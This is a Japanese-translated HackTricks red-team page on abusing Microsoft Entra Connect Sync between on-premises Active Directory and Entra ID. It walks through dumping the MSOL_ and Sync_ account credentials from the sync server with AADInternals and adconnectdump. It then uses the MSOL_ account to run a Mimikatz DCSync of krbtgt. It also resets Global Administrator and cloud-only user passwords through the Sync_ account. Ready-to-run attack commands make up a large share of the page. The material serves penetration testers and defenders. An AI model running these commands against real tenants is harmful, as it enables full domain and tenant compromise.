Az - Connect Sync

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

From the docs: Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) は Microsoft Entra Connect の主要コンポーネントです。オンプレミス環境と Microsoft Entra ID 間でのアイデンティティデータの同期に関連するすべての操作を処理します。

sync サービスはオンプレミスの Microsoft Entra Connect Sync コンポーネントと Microsoft Entra ID 側の Microsoft Entra Connect Sync service というサービス側コンポーネントの2つで構成されます。

これを利用するには、AD 環境内のサーバに Microsoft Entra Connect Sync エージェントをインストールする必要があります。このエージェントが AD 側の同期を担当します。

Connect Sync は基本的に AD から Entra ID へのユーザー同期を行う「旧来の」Azure の方法です。新しく推奨される方法は Entra Cloud Sync を使用することです。

Az - Cloud Sync

生成されるプリンシパル

  • アカウント MSOL_<installationID> がオンプレミスの AD に自動作成されます。このアカウントには Directory Synchronization Accounts ロールが付与されます(詳細は documentation を参照)。これはオンプレミス AD における replication (DCSync) permissions を持つことを意味します。
  • つまり、このアカウントを乗っ取った者はオンプレミスドメインを乗っ取ることが可能になります。
  • 管理サービスアカウント ADSyncMSA<id> がオンプレミス AD に作成されますが、特別なデフォルト権限はありません。
  • Entra ID 側には証明書付きでサービスプリンシパル ConnectSyncProvisioning_ConnectSync_<id> が作成されます。

パスワードの同期

パスワードハッシュ同期 (Password Hash Synchronization)

このコンポーネントは AD から Entra ID へパスワードを同期 するためにも使用でき、ユーザーは AD のパスワードで Entra ID に接続できるようになります。これには、AD サーバにインストールされた Microsoft Entra Connect Sync エージェントで password hash synchronization を有効にする必要があります。

From the docs: Password hash synchronization はハイブリッドアイデンティティを実現するためのサインイン方法の一つです。Azure AD Connect はオンプレミス Active Directory のユーザーのパスワードのハッシュのハッシュをクラウドベースの Azure AD に同期します。

基本的に、すべての usershash of the password hashes がオンプレミスから Azure AD に同期されます。ただし、clear-text passwords元のハッシュ は Azure AD に送信されません。

ハッシュの同期は通常 2 分ごと に行われます。ただし、デフォルトでは password expiryaccount expiry は Azure AD に 同期されません。そのため、オンプレ側の パスワードが期限切れ(変更されていない)であっても、ユーザーは古いパスワードを使って Azure リソースにアクセスし続ける ことができます。

オンプレのユーザーが Azure リソースにアクセスする際、認証は Azure AD 側で行われます

Note

デフォルトでは、Domain Admins のような既知の特権グループのユーザーで、属性 adminCount が 1 のものは Entra ID と同期されません(セキュリティ上の理由)。しかし、他のユーザーで属性がない特権グループの一部であったり、直接高い権限が割り当てられているユーザーは 同期される可能性があります

Password Writeback(パスワード書き戻し)

この構成は、ユーザーが Entra ID でパスワードを変更したときに Entra ID から AD へパスワードを同期(書き戻し) することを可能にします。Password writeback を機能させるには、AD に自動生成された MSOL_<id> ユーザーに対して docs に示されているような追加権限 を付与する必要があり、そうすることで AD 内の任意のユーザーのパスワードを変更できるようになります

これは、侵害された Entra ID から AD を侵害する場合に特に興味深い機能で、ほぼ任意のユーザーのパスワードを変更できるようになります。

Domain admins や一部の特権グループに属する他のユーザーは、そのグループが adminCount 属性を 1 にしている場合は複製されません。しかし、どのグループにも属していないのに AD 内で直接高い権限が割り当てられている他のユーザーはパスワードを変更される可能性があります。例えば:

  • 直接高い権限が割り当てられているユーザー。
  • DNSAdmins グループのユーザー。
  • Group Policy Creator Owners グループのメンバーで、GPO を作成して OU に割り当てたユーザーは、自分が作成した GPO を変更できます。
  • Cert Publishers Group のユーザーで、Active Directory に証明書を公開できるユーザー。
  • adminCount 属性が 1 になっていない 高権限の他の任意のグループのユーザー。

AD –> Entra ID へのピボット

Connect Sync の列挙

ユーザーを確認する:

# Check for the users created by the Connect Sync
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl

# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=MSOL_*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=Sync_*)"
$searcher.FindAll()

(該当する場合)Connect Sync configuration を確認してください:

az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
# Check if password sychronization is enabled, if password and group writeback are enabled...

パスワードの取得

MSOL_* ユーザー(および作成されていれば Sync_* ユーザー)のパスワードは、Entra ID Connect がインストールされているサーバー上の SQL Server に保存されています。 管理者はこれら特権ユーザーのパスワードをプレーンテキストで抽出できます。
データベースは C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf にあります。

あるテーブルから設定を抽出できますが、そのうち1つは暗号化されています:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

暗号化された構成DPAPI で暗号化されており、オンプレ AD の MSOL_* ユーザーのパスワードと AzureAD の Sync_* のパスワードを含みます。したがって、これらを侵害すると AD および AzureAD に対して privesc が可能になります。

You can find a full overview of how these credentials are stored and decrypted in this talk.

MSOL_* の悪用

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals
Get-AADIntSyncCredentials
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main

# Using https://github.com/dirkjanm/adconnectdump
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

Warning

以前の攻撃では、別のパスワードが侵害され、その後 Sync_* と呼ばれる Entra ID ユーザーに接続して Entra ID が乗っ取られました。しかし、このユーザーは現在存在しません。

Abusing ConnectSyncProvisioning_ConnectSync_

このアプリケーションは Entra ID や Azure の管理ロールが割り当てられていない状態で作成されています。しかし、以下の API 権限を持っています:

  • Microsoft Entra AD Synchronization Service
  • ADSynchronization.ReadWrite.All
  • Microsoft password reset service
  • PasswordWriteback.OffboardClient.All
  • PasswordWriteback.RefreshClient.All
  • PasswordWriteback.RegisterClientVersion.All

このアプリケーションの SP は、ドキュメント化されていない API を使っていくつかの特権アクションを実行するためにまだ利用できる可能性があると言われていますが、私の知る限りまだ PoC は見つかっていません。
いずれにせよ、それが可能かもしれないと考えるなら、この service principal としてログインするための証明書をどのように見つけて悪用するかをさらに調査する価値があります。

この blog post は、Sync_* ユーザーからこの service principal に切り替わった直後に公開され、証明書がサーバー内に保存されており、それを見つけて PoP (Proof of Possession) を生成し graph token を得ることが可能で、それにより service principal に新しい証明書を追加できる(service principal は自分自身に常に新しい証明書を割り当てられるため)そしてそれを使って SP として永続化できると説明しています。

これらの操作を行うために、以下のツールが公開されています: SharpECUtils.

{#ref}https://github.com/hotnops/ECUtilities/issues/1#issuecomment-3220989919{#endref} によれば、証明書を見つけるには、miiserver プロセスのトークンを盗んだプロセスからツールを実行する必要があるとされています。

Abusing Sync_* [DEPRECATED]

Warning

以前は Sync_* というユーザーが Entra ID に作成され、非常にセンシティブな権限が割り当てられていました。これにより任意のユーザーのパスワード変更や service principal に新しい資格情報を追加するなどの特権アクションが可能でした。しかし、Jan2025 以降、このユーザーはデフォルトで作成されなくなり、代わりに Application/SP ConnectSyncProvisioning_ConnectSync_<id> が使われるようになりました。それでも一部の環境には残っている可能性があるため、確認する価値はあります。

Sync_* アカウントを侵害すると、任意のユーザー(Global Administrators を含む)のパスワードをリセットすることが可能です。

Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

また、クラウドユーザーのみのパスワードを変更することも可能です(予期せずとも)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

このユーザーのパスワードをダンプすることも可能です。

Caution

別の選択肢として、assign privileged permissions to a service principal ことが考えられます。Sync ユーザーはそれを行う permissions を持っており、その後 access that service principal して privesc を達成できます。

Seamless SSO

Seamless SSO を PHS と一緒に使用することが可能で、これは他の悪用に対して脆弱です。詳細は以下を確認してください:

Az - Seamless SSO

Pivoting Entra ID –> AD

  • password writeback が有効になっている場合、Entra ID と同期されている AD 内の任意のユーザーの modify the password of any user in the AD が可能です。
  • groups writeback が有効になっている場合、AD と同期されている Entra ID の特権グループにユーザーを add users to privileged groups できます。

References

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする